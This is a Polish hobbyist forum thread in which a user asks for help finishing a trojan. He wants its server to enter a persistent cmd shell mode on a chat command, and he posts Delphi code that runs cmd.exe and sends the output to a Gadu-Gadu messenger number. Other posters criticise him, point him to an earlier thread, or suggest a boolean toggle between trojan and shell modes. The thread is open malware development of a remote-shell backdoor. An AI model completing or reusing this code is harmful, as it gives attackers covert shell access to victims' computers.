oddzielne komendy cmd od komend trojana

fdavid

Użytkownik
Dołączył
Luty 10, 2006
Posty
34
Jak zrobić żeby np. po wysłaniu do trojana komendy "!otwórzcmd" server otwierał cmd i z niego nie wychodził (czyli oczekiwałby tylko na komendy cmd a nie komendy trojana, zaś po wysłaniu "exit" zamykałby cmd i przyjmował już normalne inne komendy trojana). Stosuję np. TDosCommand:

Kod:
procedure TForm1.ggRecvMsg(Sender: TObject; MsgBody: String;

  MsgFormat: array of Variant; MsgFrom: Integer);  



if MsgBody = '!otwórzcmd' then 

  begin                                                                                                   

  DosCommand1.CommandLine := 'cmd.exe';

  DosCommand1.Execute;

  gg.GGSendMessage(true,123456,DosCommand1.OutputLines,MsgFormat);

....ktoś pomoże dokończyć?
 

tianhao

Użytkownik
Dołączył
Czerwiec 19, 2004
Posty
307
Najpierw piszesz zeby ci podzielic znaki w memo teraz zeby ci dokonczyc caly kod ? Zadnej wlasnej inicjatywy? przeciez to mozna w bardzo prosty sposob rozwiazac :| czy to az takie trudne troche pomyslec ??
 

fdavid

Użytkownik
Dołączył
Luty 10, 2006
Posty
34
to chociaż może jakaś mała podpowiedź bo naprawdę nie wiem...
<
 

FDJ

Były Moderator
Dołączył
Maj 23, 2005
Posty
1044
poszukaj na forum bboymario sie kiedys pytal o cmd tam masz powinno dzialac jak chcesz.
 

Kornik52

Były Moderator
Dołączył
Sierpień 12, 2004
Posty
848
Dobrze ale jek chesz raz normalne komendy trojana a raz tylko cmd tak jak w bigbenie to musisz ustawic cos na true,false zalerznie od tego co chesz zrobic

var
x:boolean;


if x=true then
begin

end else
begin

end;
 
Do góry Bottom